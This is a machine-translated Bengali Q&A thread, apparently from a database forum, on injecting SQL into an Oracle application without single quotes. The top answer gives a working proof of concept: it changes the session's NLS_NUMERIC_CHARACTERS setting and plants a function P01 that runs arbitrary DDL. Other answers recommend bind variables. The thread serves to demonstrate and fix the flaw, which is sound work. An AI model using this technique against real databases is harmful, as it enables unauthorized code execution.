ওরাকলে কোনও একক উদ্ধৃতি ব্যবহার না করে স্ট্রিংটি ভেঙে এসকিউএল ইনজেক্ট করার কোনও উপায় আছে কি?


12

আমি একটি ওরাকল ভিত্তিক অ্যাপ্লিকেশন পরীক্ষা করছি এবং আমি নিম্নলিখিত কোডটি পেয়েছি:

ক্যোয়ারী = "কর্মচারীদের কাছ থেকে নাম নির্বাচন করুন যেখানে আইডি = '" + পি কেআইডি + "';"

অর্থাত্ ক্যোয়ারী স্ট্রিংয়ে PKID মানের চারপাশে উদ্ধৃতি রয়েছে যা ইউআরএল থেকে সরাসরি পাওয়া যায়।

স্পষ্টতই, এটি একটি ক্লাসিক এসকিউএল ইঞ্জেকশন হওয়ার জন্য অপেক্ষা করছে ... অ্যাপ্লিকেশনটি সিএ সাইটমিন্ডারের পিছনে রয়েছে যা কোনও একক উক্তি (যে কোনও আকারে) কোনও অ্যাপ্লিকেশনটিতে যাওয়ার থেকে আটকাতে অবরুদ্ধ করে।

কোনও একক উদ্ধৃতি ব্যবহার না করে স্ট্রিংটি ভেঙে এসকিউএল ইনজেক্ট করার কোনও উপায় আছে কি?

সম্পাদনা: দুঃখিত, আমার আরও পরিষ্কার হওয়া উচিত ছিল - এটি কীভাবে রচনা করা উচিত তা আমি বুঝতে পেরেছি , তবে মানুষকে এটা বোঝানো দরকার যে এটি একটি শোষণীয় বিষয়। এই মুহুর্তে কারণ এটি সাইটমাইন্ডারের পিছনে যা একক উদ্ধৃতি ব্লক করে তাই এটি নিম্ন অগ্রাধিকারের ফিক্স হতে চলেছে।


1
আপনি কি একটি বাইন্ড ভেরিয়েবল ব্যবহার করার চেষ্টা করেছেন?
জেএইচএফবি

@ জেএইচএফবি যা বলেছে। বাইন্ডিং ভেরিয়েবলগুলি স্ট্যান্ডার্ড অনুশীলন।
ফিলি

উত্তর:


9

হ্যাঁ, প্যারামিটারে উদ্ধৃতি সরবরাহ না করে কোনও এসকিউএল ইঞ্জেকশন আক্রমণ করা সম্ভব।

এটি করার উপায়টি কীভাবে সংখ্যা এবং / অথবা তারিখগুলি প্রক্রিয়াজাত করা হয় তা নিয়ে কাজ করে। তারিখ বা সংখ্যার ফর্ম্যাটটি কী তা আপনি সেশন পর্যায়ে নির্দিষ্ট করতে পারেন। এটিকে চালিত করে আপনি যে কোনও চরিত্রের সাথে ইনজেকশন করতে পারেন।

ইউকে এবং মার্কিন যুক্তরাষ্ট্রে ডিফল্টরূপে, হাজারে সংখ্যায় বিভাজক এবং দশমিক পয়েন্টের জন্য একটি সম্পূর্ণ স্টপ নির্দেশ করতে একটি কমা ব্যবহার করা হয়। আপনি এই ডিফল্ট সম্পাদন করে পরিবর্তন করতে পারেন:

alter session set nls_numeric_characters = 'PZ';

এর অর্থ হ'ল "পি" এখন দশমিক বিন্দু এবং "জেড" হ'ল হাজার বিভাজক। তাই:

0P01

সংখ্যাটি 0.01। তবে আপনি যদি P01 ফাংশন তৈরি করেন তবে নম্বর রূপান্তর করার আগে অবজেক্টের রেফারেন্সটি নেওয়া হবে। এটি আপনাকে ডাটাবেসে ফাংশন সম্পাদন করতে দেয় যা আপনাকে নিম্নোক্ত ক্ষমতা প্রদান করে:

একটি "বেস দ্বারা আইডি" ফাংশন তৈরি করুন:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

এছাড়াও একটি ফাংশন তৈরি করুন P01 যা অনাকাঙ্ক্ষিত কিছু করে (এই ক্ষেত্রে কেবল একটি টেবিল তৈরি করবে, তবে আপনি ধারণাটি পাবেন):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

এবং আমরা যেতে ভাল:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

কোথাও কোনও উদ্ধৃতি নেই, তবে আমরা এখনও "লুকানো" ফাংশন P01 কার্যকর করতে এবং টেবিলটি তৈরি করতে পরিচালিত করেছি t!

যদিও অনুশীলনে এটি করা কঠিন হতে পারে (এবং কিছু অভ্যন্তরীণ জ্ঞান / সহায়তা প্রয়োজন হতে পারে), এটি দেখায় যে আপনি উদ্ধৃতি না রেখে এসকিউএল ইনজেক্ট করতে পারেন। পরিবর্তিতকরণ nls_date_formatঅনুরূপ জিনিসগুলি করার অনুমতি দিতে পারে।

সংখ্যার মূল আবিষ্কারগুলি ডেভিড লিচফিল্ডের দ্বারা হয়েছিল এবং আপনি তার কাগজটি এখানে পড়তে পারেন । কীভাবে তারিখগুলি এখানে কাজে লাগানো যায় সে সম্পর্কে আপনি টম কিটের আলোচনা খুঁজে পেতে পারেন ।


4

আপনি সম্ভবত যে ধরণের ডেটা ব্যবহার করছেন সেটি ওভারলোড করতে পারে যার ফলে বিবৃতিটি ব্যর্থ হয় fail তারপরে যা আসে তা সম্ভাব্যভাবে চালানো যেতে পারে।

সম্ভবত এটি কোনও ইউনিকোড বাইট অ্যারে হিসাবে প্রেরণ করা কৌশলটি করতে পারে এবং সেই বিবৃতিটি আপনাকে অন্য কোনওটির কাছে নিয়ে আসে।

যদি কোনও গর্ত খোলা থাকে, তবে এটি ব্যবহার করা হবে। এবং একক উদ্ধৃতি দিয়ে সমস্ত স্ট্রিং ব্লক করা ভাল ধারণা নয় কারণ সর্বশেষ নাম "ও'ব্রিয়ান" আপনার গ্রাহক হতে পারে না (অন্যদের মধ্যে)।


আমার ধারণা আপনি "গর্ত" এবং "পুরো" না বলে বোঝাচ্ছেন।
ypercubeᵀᴹ

1

একটি বাইন্ড ভেরিয়েবল ব্যবহার করার চেষ্টা করুন। আপনি এটি একটি সংখ্যা হিসাবে ঘোষণা করতে পারেন এবং এটির জন্য ক্ষতিকারক এসকিউএল ইঞ্জেকশনটি রোধ করা উচিত।

সংস্থান: বাইন্ড ভেরিয়েবলগুলি কর্মক্ষমতা এবং স্কেলাবিলিটি বাড়াতে পারে কারণ ক্যোয়ারী প্ল্যানটি পুনরায় ব্যবহারের জন্য সংকলিত এবং সঞ্চিত। আপনার যুক্তি যুক্ত করার জন্য আরও কিছু। :)


1
তিনি ইনজেকশন প্রতিরোধের উপায়গুলি সম্পর্কে জিজ্ঞাসা করছেন না তবে এটির অপব্যবহারের উপায়গুলি সম্পর্কে জিজ্ঞাসা করছেন ।
জেফ

1
@ জেফ ওপিও এই জাতীয় কোড ব্যবহার না করার কারণ জিজ্ঞাসা করে। বাইন্ড ভেরিয়েবল ব্যবহার না করা পারফরম্যান্সকে ধ্বংস করে দেয় তাই এটি সর্বদা ব্যবহারের জন্য এটি একটি ভাল কারণ ।
ভিনসেন্ট ম্যালগ্র্যাট

@ ভিনসেন্ট ম্যালগ্র্যাট: "বাইন্ড ভেরিয়েবল ব্যবহার না করা পারফরম্যান্সকে ধ্বংস করে দেয়" ভুল I এটি সত্য যে বাইন্ড ভেরিয়েবল ব্যবহার করে একটি বিবৃতি পুনরুদ্ধার করা এড়ানো যায়। এছাড়াও যদি আপনি বাইন্ড ভেরিয়েবল ব্যবহার না করেন তবে ভাগ করা পুলটি প্রচুর পরিমাণে স্মৃতি বিবৃতিতে প্লাবিত হবে। তবুও যদি কেউ আক্ষরিক মানের পরিবর্তে বাইন্ড ভেরিয়েবল ব্যবহার করে তবে পরিকল্পনা তৈরির জন্য অপ্টিমাইজারের কাছে কম তথ্য রয়েছে। এমন পরিস্থিতি রয়েছে যেখানে বাইন্ড ভেরিয়েবলের মান (বা আক্ষরিক মান) এর উপর নির্ভর করে বিভিন্ন পরিকল্পনা নির্বাচন করা উচিত।
चमत्कार 173

@ चमत्कार173 অবশ্যই ব্যতিক্রম হবে, তবে ওপি দ্বারা প্রদত্ত প্রাথমিক কী অনুসন্ধানের জন্য নয়, কখনই নয়)
ভিনসেন্ট মালগ্র্যাট
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.